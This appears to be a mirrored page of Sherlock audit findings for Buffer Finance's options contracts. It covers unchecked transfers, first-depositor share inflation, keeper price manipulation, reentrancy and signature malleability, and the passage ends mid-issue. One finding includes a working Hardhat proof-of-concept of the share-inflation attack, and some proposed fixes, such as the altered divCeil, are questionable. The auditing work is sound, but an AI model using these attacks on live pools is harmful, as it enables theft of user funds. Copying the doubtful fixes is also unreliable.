GithubHelp home page GithubHelp logo

2022-11-buffer-judging's People

Contributors

hrishibhat avatar rcstanciu avatar sherlock-admin avatar

Stargazers

 avatar

Watchers

 avatar  avatar

2022-11-buffer-judging's Issues

jonatascm - No return validation in token transfer

jonatascm

high

No return validation in token transfer

Summary

There isn't any check on return values for tokenX transfer function.

Vulnerability Detail

Some ERC20 tokens fail silently just returning a false value, not sending correctly the fees, and breaking the protocol. Token example: ZRX

Impact

By creating a trade failing silently and closing trades returning some amount of value as fees "paid”, a malicious user could lead to loss of funds

Code Snippet

BufferRouter.sol#

IERC20(optionsContract.tokenX()).transferFrom(
  msg.sender,
  address(this),
  totalFee
);

BufferRouter.sol#L331

tokenX.transfer(queuedTrade.targetContract, revisedFee);

BufferRouter.sol#L342

tokenX.transfer(
    queuedTrade.user,
    queuedTrade.totalFee - revisedFee
);

BufferRouter.sol#L361

IERC20(optionsContract.tokenX()).transfer(
  queuedTrade.user,
  queuedTrade.totalFee
);

BufferBinaryOptions.sol#L141

tokenX.transfer(config.settlementFeeDisbursalContract(), settlementFee);

BufferBinaryOptions.sol#L477

tokenX.transfer(referrer, referrerFee);

BufferBinaryPool.sol#L161

bool success = tokenX.transferFrom(msg.sender, address(this), premium);

BufferBinaryPool.sol#L204

bool success = tokenX.transfer(to, transferTokenXAmount);

BufferBinaryPool.sol#L236

bool success = tokenX.transferFrom(
  account,
  address(this),
  tokenXAmount
);

BufferBinaryPool.sol#L322

bool success = tokenX.transfer(account, tokenXAmountToWithdraw);

Tool used

Manual Review

Recommendation

Use safeTransfer and safeTransferFrom methods of OpenZeppelin's SafeERC20 library instead of transfer and transferFrom

Duplicate of #73

gandu - Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors

gandu

high

Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors


name: Audit item
about: These are the audit items that end up in the report
title: "Manipulation of LPTOKEN(Buffer LP Token) when totalSupply is zero can lead to implicit minimum deposit amount and loss of user funds due to rounding errors"
labels: "Critical Bug"
assignees: "buffer"

Summary

  • When totalSupply is zero an attacker goes ahead and executes the following steps
    • 1.The attacker calls provide function of bufferBinnerPool Contract with 1 Wei underlying tokens(tokenX) to mint LPToken(BLP)
    • 2.They will get 1wei of the underlying token amount of LPToken(BLP)
    • 3.They transfer z underlying tokens directly to bufferBinnerPool contract address.
      - This leads to 1 wei of LPToken(BLP) worth z (+ some small amount)
      • Attacker won't have any problem making this z as big as possible as they have all the claim to it as a holder of 1 Wei of LPToken(BLP)

Vulnerability Detail

  • This attack has two implications

    • 1.The first deposit can be front run and stolen
      • Let's assume there is a first user trying to mint some LPToken(BLP) using their k*z underlying tokens
      • An attacker can see this transaction and carry out the above-described attack making sure that k<1.
      • This leads to the first depositor getting zero LPToken(BLP) for their k*z underlying tokens. All the tokens are redeemable by the attacker using their 1 wei of LPToken.
    • 2.Implicit minimum Amount and funds lost due to rounding errors
      • If an attacker is successful in making 1 wei of LPToken(BLP) worth z underlying tokens and a user tries to mint LPToken(BLP) using k* z underlying tokens then,
        • If k<1, then the user gets zero LPToken(BLP) and all of their underlying tokens get proportionally divided between LPToken(BLP) holders
          • This leads to an implicit minimum amount for a user at the attacker's discretion.
        • If k>1, then users still get some LPToken(BLP) but they lose (k- floor(k)) * z) of underlying tokens which get proportionally divided between LPToken(BLP) holders due to rounding errors.
      • This means that for users to not lose value, they have to make sure that k is an integer.
  • Main Reason:

    • Calculating the totalTokenXBalance() variable using a balance(address(this)) while minting token, so the amount attacker will transfer is also calculated. And totalTokenXBalance() function is the denominator in the mint variable.
  • Maths:
    here BalanceOF(address(this)) == X + 1Wei now mint token will be :

    • amount/BalanceOF(address(this)
    • = Y/(X+1wei) (here denominator is greater than numerator ) = 0.something
    • = 0 (solidity round of math)

Impact

  • this leads to the infinity amount of the user funds lost. also BufferBinaryPool contract is pool contract so that impecting other upcoming pool too.

Code Snippet

adding the bug code explanation for the bufferStaking Contract they has the same issue.

const { ethers } = require("hardhat");



async function main() {


    let user;
    [user, ] = await ethers.getSigners();
    let underlyingABI = [
        "function balanceOf(address _user) view returns (uint256)",
        "function decimals() external view returns(uint8)",
        "function name() external view returns(string)",
        "function approve(address spender, uint256 amount) external returns (bool)",
        "function transfer(address recipient, uint256 amount) external returns (bool)",
        "function totalSupply() external view returns (uint256)"
    ]

    let vaultABI = [
        "function stakeBfr(uint256 _amount) external",
        "function balanceOf(address _user) view returns (uint256)",
        "function totalSupply() external view returns (uint256)",
        "function totalUnderlying() external view returns (uint256)"

    ];
    const provider = new ethers.providers.JsonRpcProvider("http://127.0.0.1:8545/");

    // Getting vault instance
    const vault = new ethers.Contract("0x314215b08cbc14396b11de9b0246013777c9a92b", vaultABI, provider);
    // getting underlying instance 
    const underlying = new ethers.Contract("0x1A5B0aaF478bf1FDA7b934c76E7692D722982a6D", underlyingABI, provider);
    const mintToken = new ethers.Contract("0x314215b08cbc14396b11de9b0246013777c9a92b", underlyingABI, provider);


    // Impersonating account which has some underlying tokens
    await hre.network.provider.request({
        method: "hardhat_impersonateAccount",
        params: ["0xb66127377ff3618b595177b5e84f8ee9827cd061"], 
      });

    const attacker = await ethers.getSigner("0xb66127377ff3618b595177b5e84f8ee9827cd061");

    // Getting some eth
    await ethers.provider.send("hardhat_setBalance", [
        attacker.address,
        "0x1158e460913d00000", // 20 ETH
    ]);
    if(await mintToken.balanceOf(attacker.address) == 0 ) {
        console.log('===============================================');
        const attackerBalance = await underlying.balanceOf(attacker.address);
        const userLPbalance = await mintToken.balanceOf(user.address);
        console.log("attacker's underlying balance before attack:", attackerBalance);
        console.log("user's balance:",userLPbalance )
        // Transferring some underlying tokens to user
        await underlying.connect(attacker).transfer(user.address, 60000000);
        const userBalance = await underlying.balanceOf(user.address);
        
        console.log("user's underlying balance before attack:", userBalance)     
        // Approving
        await underlying.connect(attacker).approve(vault.address, ethers.utils.parseEther('1'), {gasLimit: 2300000});
        await underlying.connect(user).approve(vault.address,ethers.utils.parseEther('1'), {gasLimit: 2300000});
        console.log('===============================================');
        console.log('Step 1: Attacker Depositing 1 wei amount of Joe token to mint some xJoe');
        console.log("balance of before contract", await underlying.balanceOf(attacker.address));
        await vault.connect(attacker).stakeBfr(1, {gasLimit: 2300000});
        console.log("balance of after contract", await underlying.balanceOf(attacker.address));
        console.log("balance of minttoken should be 1 wei ", await mintToken.balanceOf(attacker.address));
        console.log("balance of contract", await underlying.balanceOf(vault.address));
    
        console.log('Attacker total underlying balance after deposit: ', await underlying.balanceOf(attacker.address));
        
        console.log('===============================================');
        console.log('Step 2: Transferring underlying directly to mintToken, z = 60000000');
        await underlying.connect(attacker).transfer(vault.address, 60000000, {gasLimit: 23000000});
        console.log("total supply while transfering the assets", await underlying.balanceOf(vault.address));
        console.log("balance of contract", await underlying.balanceOf(vault.address));

        console.log('===============================================');
        console.log('Attacker 2nd time Depositing with less than z after attack....'); // these amount will as big as attacker want 
        await vault.connect(user).stakeBfr( 60000000, {gasLimit: 2300000});
        const UserLPBalance = await mintToken.balanceOf(user.address);
        console.log("balance of user minttoken", UserLPBalance);
        // consider attacker as a new depositor 
        if(UserLPBalance == 0){
            console.log("Attack is successful")
        }
        else {
            console.log("Failed");
        }
    }

}

main()
    .then(() => process.exit(0))
    .catch((error) => {
        console.error(error);
        process.exit(1);
    })

fork Blocknumber : 26788007

Tool used

  • Manual Review

Recommendation

I like how BalancerV2 and UniswapV2 do it. some minimum amount of pool tokens get burnt when the first mint happens.

Duplicate of #81

sorrynotsorry - `registerCode` function is frontrunnable and it can be abused

sorrynotsorry

medium

registerCode function is frontrunnable and it can be abused

Summary

registerCode function is frontrunnable and it can be abused by the actors if intended.

Vulnerability Detail

Alice and Bob don't have a good relationship.

  1. Alice wants to register code and calls registerCode
  2. Bob is an orchestrated hater and sends more gas to hijack Alice's registerCode call exactly with the same _code.
  3. Bob owns the _code and Alice doesn't.

Impact

A targeted address might not get the code and can't be a referrer. The same can be applied to protocol addresses as well.

Code Snippet

function registerCode(string memory _code) external {
    require(bytes(_code).length != 0, "ReferralStorage: invalid _code");
    require(
        codeOwner[_code] == address(0),
        "ReferralStorage: code already exists"
    );

    codeOwner[_code] = msg.sender;
    userCode[msg.sender] = _code;
    emit RegisterCode(msg.sender, _code);
}

Permalink

Tool used

Manual Review

Recommendation

The team might consider refactoring the registerCode by adding another option, which grants a randomized code by utilizing KECCAK encryption within.

peanuts - Length of lockedliquidity[msg.sender].length is calculated incorrectly for users

peanuts

high

Length of lockedliquidity[msg.sender].length is calculated incorrectly for users

Summary

The function lock(x,y,z) in BufferBinaryPool does not correctly check the length of lockedLiquidity. This results in function revert which leads to router being unable to create options.

Vulnerability Detail

In lock(), there is a requirement whereby id == lockedLiquidity[msg.sender].length

    require(id == lockedLiquidity[msg.sender].length, "Pool: Wrong id");

This id is obtained from BufferBinaryOptions.sol createFromRouter(). The id will always be ever-increasing because of _generateTokenId().

function _generateTokenId() internal returns (uint256) {
    return nextTokenId++;
}

If the Id reaches 10 and a user wants to create an option, his lockedLiquidity[user] will be 0 because he has not created an option yet. However, since the id is 10, and the length is 0, lock will always fail, resulting in function revert.

Impact

User cannot create any options.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryOptions.sol#L123-L142

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryOptions.sol#L370

Tool used

Manual Review

Recommendation

Have a separate mapping to log all accounts from all users so that protocol can keep track of the option id and the option struct at the same time, similar to BufferRouter.sol

Duplicate of #26

m_Rassska - Unchecked return value for transferFrom() call.

m_Rassska

high

Unchecked return value for transferFrom() call.

Summary

  • Unchecked return value for transferFrom() call

Vulnerability Detail

  • In BufferRouter.sol there is a function initiateTrader() for option creation purposes. During the execution the optionsContract.tokenX() supposed to receive some fees, however the transferFrom() for some tokens returns bool instead of reverting. Since the returned value is not checked, this lead to undesired behavior.

Impact

  • The user can pass the option into the queue without sending fees.

Code Snippet

  •   function initiateTrade(
          uint256 totalFee,
          uint256 period,
          bool isAbove,
          address targetContract,
          uint256 expectedStrike,
          uint256 slippage,
          bool allowPartialFill,
          string memory referralCode,
          uint256 traderNFTId
      ) external returns (uint256 queueId) {
          // Checks if the target contract has been registered
          require(
              contractRegistry[targetContract],
              "Router: Unauthorized contract"
          );
          IBufferBinaryOptions optionsContract = IBufferBinaryOptions(
              targetContract
          );
    
          optionsContract.runInitialChecks(slippage, period, totalFee);
    
          // Transfer the fee specified from the user to this contract.
          // User has to approve first inorder to execute this function
          IERC20(optionsContract.tokenX()).transferFrom(
              msg.sender,
              address(this),
              totalFee
          );
          queueId = nextQueueId;
          nextQueueId++;
    
          QueuedTrade memory queuedTrade = QueuedTrade(
              queueId,
              userQueueCount(msg.sender),
              msg.sender,
              totalFee,
              period,
              isAbove,
              targetContract,
              expectedStrike,
              slippage,
              allowPartialFill,
              block.timestamp,
              true,
              referralCode,
              traderNFTId
          );
    
          queuedTrades[queueId] = queuedTrade;
    
          userQueuedIds[msg.sender].push(queueId);
    
          emit InitiateTrade(msg.sender, queueId, block.timestamp);
      }

Tool used

  • Manual Review

Recommendation

  • Wrap transferFrom() around require statement to handle failures.

ctf_sec - BufferBinaryPool.sol#provide cannot be paused.

ctf_sec

medium

BufferBinaryPool.sol#provide cannot be paused.

Summary

BufferBinaryPool.sol#provide cannot be paused.

Vulnerability Detail

Let the admin pause the inbounding deposit is a standard practice when building a liquidity pool. The admin can pause the binary optional.

    /**
     * @notice Pauses/Unpauses the option creation
     */
    function toggleCreation() public onlyRole(DEFAULT_ADMIN_ROLE) {
        isPaused = !isPaused;
        emit Pause(isPaused);
    }

In BufferPool.sol, user can call provide to supply tokenX and receives BLP token any time

    /**
     * @notice A provider supplies tokenX to the pool and receives BLP tokens
     * @param minMint Minimum amount of tokens that should be received by a provider.
                      Calling the provide function will require the minimum amount of tokens to be minted.
                      The actual amount that will be minted could vary but can only be higher (not lower) than the minimum value.
     */
    function provide(uint256 tokenXAmount, uint256 minMint)
        external
        returns (uint256 mint)
    {
        mint = _provide(tokenXAmount, minMint, msg.sender);
    }

BufferBinaryPool.sol#provide cannot be paused, user can call it any time to supply tokenX.

Impact

The admin is not able to maintain the pool properly, user may not aware that they are not able to withdraw the desired amount of the tokenX after providing liqudity.

  function _withdraw(uint256 tokenXAmount, address account)
      internal
      returns (uint256 burn)
  {
      require(
          tokenXAmount <= availableBalance(),
          "Pool: Not enough funds on the pool contract. Please lower the amount."
      );
      uint256 totalSupply = totalSupply();
      uint256 balance = totalTokenXBalance();

      uint256 maxUserTokenXWithdrawal = (balanceOf(account) * balance) /
          totalSupply;

      uint256 tokenXAmountToWithdraw = maxUserTokenXWithdrawal < tokenXAmount
          ? maxUserTokenXWithdrawal
          : tokenXAmount;

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryPool.sol#L95-L108

Tool used

Manual Review

Recommendation

We recommend the project add whenNotPaused modifier to given the admin power to pause the inbounding deposit of the tokenX in BinaryPool

rvierdiiev - Fee on transfer tokens are not supported

rvierdiiev

medium

Fee on transfer tokens are not supported

Summary

Protocol will not be working correctly with fee on transfer tokens as he doesn't check the balance and fully trust to amount provided by users.

Vulnerability Detail

When protocol transfers funds from user to contract, it doesn't check the amount they received using ERC20 balance function. If fee on transfer tokens are used that means that protocol will not be able to make funds calculations correctly.

For example if user initiated trading and then canceled it, the protocol will lose some amount.

Impact

Lose of funds for protocol.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L90
https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L361-L364

Tool used

Manual Review

Recommendation

Check balances before and after transfer to get correct amount of funds provided by user.

Duplicate of #76

eyexploit - No check on transferFrom() return value

eyexploit

high

No check on transferFrom() return value

Summary

In Router contract, funds are at risk, an attacker can initiate the trades without paying any fee and then cancel those trades. Attacker cancel the one of his open trade, by calling cancelQueuedTrade(uint256 queueId) on router contract, it will then call _cancelQueuedTrade(uint256 queueId) and transferred the tokensX back to the attacker which was never received from him before (as a fee while opening a trade).

Vulnerability Detail

In BufferRouter contract, initiateTrade() is a function to open a trade. Whenever user open a new trade, smart contract collects the fees from the user for opening his trade.

As there is no check on return value of transferFrom, so even though the transfer of tokens(as a fee) failed , it won't revert and adds the user's request to the trade queue.

https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferRouter.sol#L86-L90

https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferRouter.sol#L121-L127

https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferRouter.sol#L361-L364

More info,
https://consensys.net/diligence/audits/2021/01/fei-protocol/#unchecked-return-value-for-transferfrom-calls

Impact

The transferFrom function will failed silently, with which user can

  • leverage the trading without paying any fee.
  • received as many tokenX from the contract.

Code Snippet

IERC20(optionsContract.tokenX()).transferFrom(
          msg.sender,
          address(this),
          totalFee
);

Tool used

Manual Review

Recommendation

Wrap the call into a require() or use openzeppelin's SafeERC20 library.

Duplicate of #73

sorrynotsorry - ECDSA signature malleability

sorrynotsorry

high

ECDSA signature malleability

Summary

The codebase uses [email protected] package which has ECDSA signature malleability for the functions that take a single bytes argument.

Vulnerability Detail

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature via ECDSA.recover and ECDSA.tryRecover due to accepting EIP-2098 compact signatures in addition to the traditional 65 byte signature format.

A user may take a signature that has already been submitted, submit it again in a different form, and bypass this protection.

Reference

Impact

The functions ECDSA.recover and ECDSA.tryRecover are vulnerable to a kind of signature malleability due to accepting EIP-2098 compact signatures in addition to the traditional 65 byte signature format. This is only an issue for the functions that take a single bytes argument, and not the functions that take r, v, s or r, vs as separate arguments.

The potentially affected contracts are those that implement signature reuse or replay protection by marking the signature itself as used rather than the signed message or a nonce included in it. A user may take a signature that has already been submitted, submit it again in a different form, and bypass this protection.

Code Snippet

    function _validateSigner(
        uint256 timestamp,
        address asset,
        uint256 price,
        bytes memory signature
    ) internal view returns (bool) {
        bytes32 digest = ECDSA.toEthSignedMessageHash(
            keccak256(abi.encodePacked(timestamp, asset, price))
        );
        address recoveredSigner = ECDSA.recover(digest, signature);
        return recoveredSigner == publisher;
    }

Permalink

Tool used

Manual Review

Recommendation

Upgrade @openzeppelin/contracts to version 4.7.3 or higher.

Duplicate of #23

rvierdiiev - Possible trade ignore from keepers

rvierdiiev

high

Possible trade ignore from keepers

Summary

When user won option then the only option for him to get money is any keeper to call BufferRouter.unlockOptions. If any keeper didn't call unlockOptions for option then user doen't have any ability to do that himself. As result he can't withdraw the funds he won.

Vulnerability Detail

BufferRouter.resolveQueuedTrades is the only function that allows to resolve options. And it's callable only by keepers. If for some reasons keepers will not call resolveQueuedTrades function for option then user doesn't have any ability to resolve option himself. As result he will not be able to get his funds.

Impact

Users funds are stucked until any keeper will call resolveQueuedTrades for him.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L136-L185

Tool used

Manual Review

Recommendation

Add function that users can call to resolve option themselves. They will also provide data from publisher and option id.

hl_ - Lock function unable to execute

hl_

medium

Lock function unable to execute

Summary

Lock function unable to execute due to inconsistent initializaiton of id and lockedLiquidity values.

Vulnerability Detail

In respect of below code:

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryPool.sol#L154

In the lock function, the id is set to start from 1, given:

  • id (optionId) in BufferBinaryPool.sol is set as _generateTokenId() in BufferBinaryOptions.sol
  • Function _generateTokenId() returns nextTokenId++
  • nextTokenId is initialzed as 0

However, lockedLiquidity[msg.sender].length is set to start from 0.

Hence, (!id == lockedLiquidity[msg.sender].length) and the lock function will not be able to execute.

Impact

Lock function unable to execute

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryPool.sol#L154

Tool used

Manual Review

Recommendation

Ensure consistent values for id and lockedLiquidity values at inital stage.
lockedLiquidity value should be first filled before running require check as shown above.

Duplicate of #26

zapaz - DivCeil function

zapaz

medium

DivCeil function

Summary

divCeil gives strange results

Vulnerability Detail

burn amount may be wrong when calling divCeil

divCeil(1001, 1000) returns 2
divCeil(1, 1000) returns 1

should return ceil amount only if above half

Impact

may throw withdraw when call here :

burn = divCeil((tokenXAmountToWithdraw * totalSupply), balance);

Code Snippet

function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        if (a % b != 0) c = c + 1; 
        return c;
    }

https://github.com/bufferfinance/Buffer-Protocol-v2/blob/83d85d9b18f1a4d09c728adaa0dde4c37406dfed/contracts/core/BufferBinaryPool.sol#L414-L419

Tool used

Manual review

Recommendation

May use this modified function

function divCeil2(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0);
        uint256 c = a / b;
        if ( 2 * (a % b) > b ) c = c + 1;` 
        return c;
    }

KingNFT - The '_openQueuedTrade()' function is susceptible to reentrancy attack

KingNFT

high

The '_openQueuedTrade()' function is susceptible to reentrancy attack

Summary

The '_openQueuedTrade()' function is susceptible to reentrancy attack when the underlying token is an ERC777 token (ERC20 extensive). Attackers can exploit it to draw back their fund while still keep their order successfully opened.

Reference for ERC777:
https://docs.openzeppelin.com/contracts/3.x/erc777

Vulnerability Detail

A brief overview of '_openQueuedTrade()' function

function _openQueuedTrade(uint256 queueId, uint256 price) internal {
    //...
    IERC20 tokenX = IERC20(optionsContract.tokenX());
    tokenX.transfer(queuedTrade.targetContract, revisedFee);

    if (revisedFee < queuedTrade.totalFee) {
        tokenX.transfer( // @audit reentrancy attack vector 1
            queuedTrade.user,
            queuedTrade.totalFee - revisedFee
        );
    }

    optionParams.totalFee = revisedFee;
    optionParams.strike = price;
    optionParams.amount = amount;

    uint256 optionId = optionsContract.createFromRouter( // @audit reentrancy attack vector 2
        optionParams,
        isReferralValid
    );

    queuedTrade.isQueued = false; // @audit should be updated before any call out

    emit OpenTrade(queuedTrade.user, queueId, optionId);
}

Attack Vector 1, call stack:

-> router._openQueuedTrade()
| -> tokenX.transfer()
| | -> user.tokensReceived()
| | | -> router.cancelQueuedTrade()

Attack Vector 2, call stack:

-> router._openQueuedTrade()
| -> optionsContract.createFromRouter()
| | -> referrer.tokensReceived()
| | | -> user.attack()
| | | | -> router.cancelQueuedTrade()

Impact

Attackers can exploit this bug to draw back their fund while still keep their order successfully opened.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L273-L353

Tool used

Manual Review

Recommendation

function _openQueuedTrade(uint256 queueId, uint256 price) internal {
    //...
    queuedTrade.isQueued = false; // @audit should be updated before any call out

    // ...
}

Duplicate of #130

rvierdiiev - Keeper can manipulate with trading results

rvierdiiev

high

Keeper can manipulate with trading results

Summary

Because the protocol fully trust to keepers it's possible for them to manipulate with trades by providing incorrect publisher's results.

Vulnerability Detail

Keeper can be anyone who should track new trades and also close old trades.
Currently, the protocol fully trust the keeper and only check that the data from publisher is indeed signed by publisher.

Let's look into BufferRouter.unlockOptions function.
https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L190-L232

    function unlockOptions(CloseTradeParams[] calldata optionData) external {
        _validateKeeper();


        uint32 arrayLength = uint32(optionData.length);
        for (uint32 i = 0; i < arrayLength; i++) {
            CloseTradeParams memory params = optionData[i];
            IBufferBinaryOptions optionsContract = IBufferBinaryOptions(
                params.asset
            );
            (, , , , , uint256 expiration, , , ) = optionsContract.options(
                params.optionId
            );


            bool isSignerVerifed = _validateSigner(
                params.expiryTimestamp,
                params.asset,
                params.priceAtExpiry,
                params.signature
            );


            // Silently fail if the timestamp of the signature is wrong
            if (expiration != params.expiryTimestamp) {
                emit FailUnlock(params.optionId, "Router: Wrong price");
                continue;
            }


            // Silently fail if the signature doesn't match
            if (!isSignerVerifed) {
                emit FailUnlock(
                    params.optionId,
                    "Router: Signature didn't match"
                );
                continue;
            }


            try
                optionsContract.unlock(params.optionId, params.priceAtExpiry)
            {} catch Error(string memory reason) {
                emit FailUnlock(params.optionId, reason);
                continue;
            }
        }
    }

When keeper provides close trading params, the only data signed by publisher is expiryTimestamp, asset, priceAtExpiry.

            bool isSignerVerifed = _validateSigner(
                params.expiryTimestamp,
                params.asset,
                params.priceAtExpiry,
                params.signature
            );

The id of option to close is included by keeper and is not controlled by publisher.
Later there is only 1 check if expiration != params.expiryTimestamp.
Pls, note that there is no check that option trading pair is same as publishers oracle price.

This allows keeper to fully drain all funds from the pool

  1. keeper initiate trade from another account for all available amount of pool
  2. then keeper starts this trade, using resolveQueuedTrades
  3. at expiration time of option keeper provides price for another asset with same expiration as the created option(but he will provide price that will 100% win)
  4. keeper receive all money from pool

Same problems has resolveQueuedTrades function as it also doesn't check that the trade pair is same as provided publishers oracle price. That means that keeper can full slippage protection with providing another asset's prices.
I believe that this is also has the same root, that's why i do not create separate report for that.

Impact

Keeper can full protocol and drain all funds from pool.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L190-L232

Tool used

Manual Review

Recommendation

The check should be added that the price, provided by keeper is for the same pair that user is trading.

zapaz - Solidity versions

zapaz

low

Solidity versions

Summary

solidity pragma version should be fixed AND set to latest

Vulnerability Detail

solidity fixed version

due to unexpected compatibility between different solidity versions it is recommended whenever it's possible to use fixed version

solidity latest version

due to bug found after 0.8.4 , it is recommender to use latest version, i.e. 0.8.17 (17 november 2022)

Impact

potentially unexpected bug

Code Snippet

pragma solidity 0.8.17;

Tool used

Manual Review

Recommendation

change 1 time pragma solidity ^0.8.0; to pragma solidity 0.8.17;

  1. pragma solidity ^0.8.0;

change 4 times pragma solidity 0.8.4; to pragma solidity 0.8.17;

  1. pragma solidity 0.8.4;
  2. pragma solidity 0.8.4;
  3. pragma solidity 0.8.4;
  4. pragma solidity 0.8.4;

rvierdiiev - Result of ERC20 transfer is ignored

rvierdiiev

medium

Result of ERC20 transfer is ignored

Summary

Because result of ERC20 transfer function is ignored it's possible that transfer will fail, but protocol will not notice that.

Vulnerability Detail

BufferRouter._openQueuedTrade sends trading amount to the options contract and change to user using ERC20 transfer function and ignore boolean result from it.

Because of that it's possible that transfer will not be successful, but protocol will not notice that.

Impact

Incorrect payments.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferRouter.sol#L330-L339

Tool used

Manual Review

Recommendation

Use safeTransfer from SafeERC20 open zepelin lib.

Duplicate of #73

rvierdiiev - BufferBinaryOptions.createFromRouter do not use safeMint

rvierdiiev

medium

BufferBinaryOptions.createFromRouter do not use safeMint

Summary

Because BufferBinaryOptions.createFromRouter do not use safeMint it's possible to mint NFT to the contract the doesn't support ERC721. As result contract will not be able to use ERC721 function to manage the token(like allowance, transfer).

Vulnerability Detail

BufferBinaryOptions.createFromRouter mints option token for trader in not safe way. Though even if option creator is contract that doesn't support ERC721, it will be possible for him to win option as no need for option owner to do anything. But another things such transfer, allowance will be not available for the option owner.

Impact

Option owner is not able to use ERC721 functions, so he can't resell option.

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryOptions.sol#L126

Tool used

Manual Review

Recommendation

Use safeMint function when minting new token.

Duplicate of #49

8olidity - `BufferBinaryOptions::checkParams()` has a problem with `revisedFee` processing

8olidity

high

BufferBinaryOptions::checkParams() has a problem with revisedFee processing

Summary

BufferBinaryOptions::checkParams() has a problem with revisedFee processing

Vulnerability Detail

In checkParams(), if the calculated amount and newFee are greater than maxAmount and totalFee, The _ fees() will be called again to recalculate. But checkParams() judged it to be wrong.This should be newFee > optionParams.totalFee instead of newFee < optionParams.totalFee

        // Recalculate the amount and the fees if values are greater than the max and partial fill is allowed
        if (amount > maxAmount || newFee < optionParams.totalFee) { // @audit 
            require(optionParams.allowPartialFill, "O29");
            amount = min(amount, maxAmount);
            (revisedFee, , ) = _fees(amount, settlementFeePercentage);
        } else {
            revisedFee = optionParams.totalFee;
        }

The calculation error here may affect the operation of BufferRouter::_openQueuedTrade(). Because if revisedFee > totalFee.
Can cause insufficient fee.

        IERC20 tokenX = IERC20(optionsContract.tokenX());
        tokenX.transfer(queuedTrade.targetContract, revisedFee); //@audit  

        // Refund the user in case the trade amount was lesser
        if (revisedFee < queuedTrade.totalFee) {
            tokenX.transfer(
                queuedTrade.user,
                queuedTrade.totalFee - revisedFee
            );
        }

Impact

BufferBinaryOptions::checkParams() has a problem with revisedFee processing

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryOptions.sol#L356

Tool used

Manual Review

Recommendation

        if (amount > maxAmount || newFee > optionParams.totalFee) { // @audit 
            require(optionParams.allowPartialFill, "O29");
            amount = min(amount, maxAmount);
            (revisedFee, , ) = _fees(amount, settlementFeePercentage);
        } else {
            revisedFee = optionParams.totalFee;
        }

8olidity - `BufferBinaryPool::send()`unlocks the total number of tokenx of the user

8olidity

high

BufferBinaryPool::send()unlocks the total number of tokenx of the user

Summary

BufferBinaryPool::send()unlocks the total number of tokenx of the user

Vulnerability Detail

The number of tokenX of tokenXAmount will be sent to the to address in BufferBinaryPool::send(). But what lockedAmount subtracts here is not the number of tokenXAmount. Instead, it is all the number of previous users lock(). All tokenx previously locked by the user will be unlocked.

For example, if the number of lock is 10, then the tokenXAmount is 10.

        lockedLiquidity[msg.sender].push(
            LockedLiquidity(tokenXAmount, premium, true)
        );

Then the user calls send (id,to,0) and the number of tokenXAmount is 0. But the function unlocks all the previous tokenx of the user.

        ll.locked = false;
        lockedPremium = lockedPremium - ll.premium;
        lockedAmount = lockedAmount - ll.amount; // @audit 

Impact

BufferBinaryPool::send()unlocks the total number of tokenx of the user

Code Snippet

https://github.com/sherlock-audit/2022-11-buffer/blob/main/contracts/contracts/core/BufferBinaryPool.sol#L198

Tool used

Manual Review

Recommendation

    function send(
        uint256 id,
        address to,
        uint256 tokenXAmount
    ) external override onlyRole(OPTION_ISSUER_ROLE) {
        LockedLiquidity storage ll = lockedLiquidity[msg.sender][id];
        require(ll.locked, "Pool: lockedAmount is already unlocked");
        require(to != address(0));

       

        uint256 transferTokenXAmount = tokenXAmount > ll.amount 
            ? ll.amount
            : tokenXAmount;

        ll.locked = false;
        lockedPremium = lockedPremium - ll.premium;
        lockedAmount = lockedAmount - transferTokenXAmount;

        bool success = tokenX.transfer(to, transferTokenXAmount);
        require(success, "Pool: The Payout transfer didn't go through");

        if (transferTokenXAmount <= ll.premium)
            emit Profit(id, ll.premium - transferTokenXAmount);
        else emit Loss(id, transferTokenXAmount - ll.premium);
    }

Ruhum - First liquidity provider to BufferBinaryPool can block users with low funds from depositing their tokens

Ruhum

medium

First liquidity provider to BufferBinaryPool can block users with low funds from depositing their tokens

Summary

This is a common problem with vault-like contracts. Whenever someone deposits token X to receive newly minted shares Y, the first caller can manipulate the vault. In this case, the first caller is able to block anybody with fewer funds than them from providing liquidity to the pool.

Vulnerability Detail

  1. You deposit 1 token to get 1 share
  2. You send a very large number of tokens, $Z$ directly to the pool
  3. Subsequent liquidity providers have to deposit more than $Z$ tokens because of the way shares are calculated:
    $shares = amount * supply / balance$ Since $supply = 1$ and $balance = Z$, $amount$ has to be $&gt;= balance$ for $shares$ to be $&gt;0$.

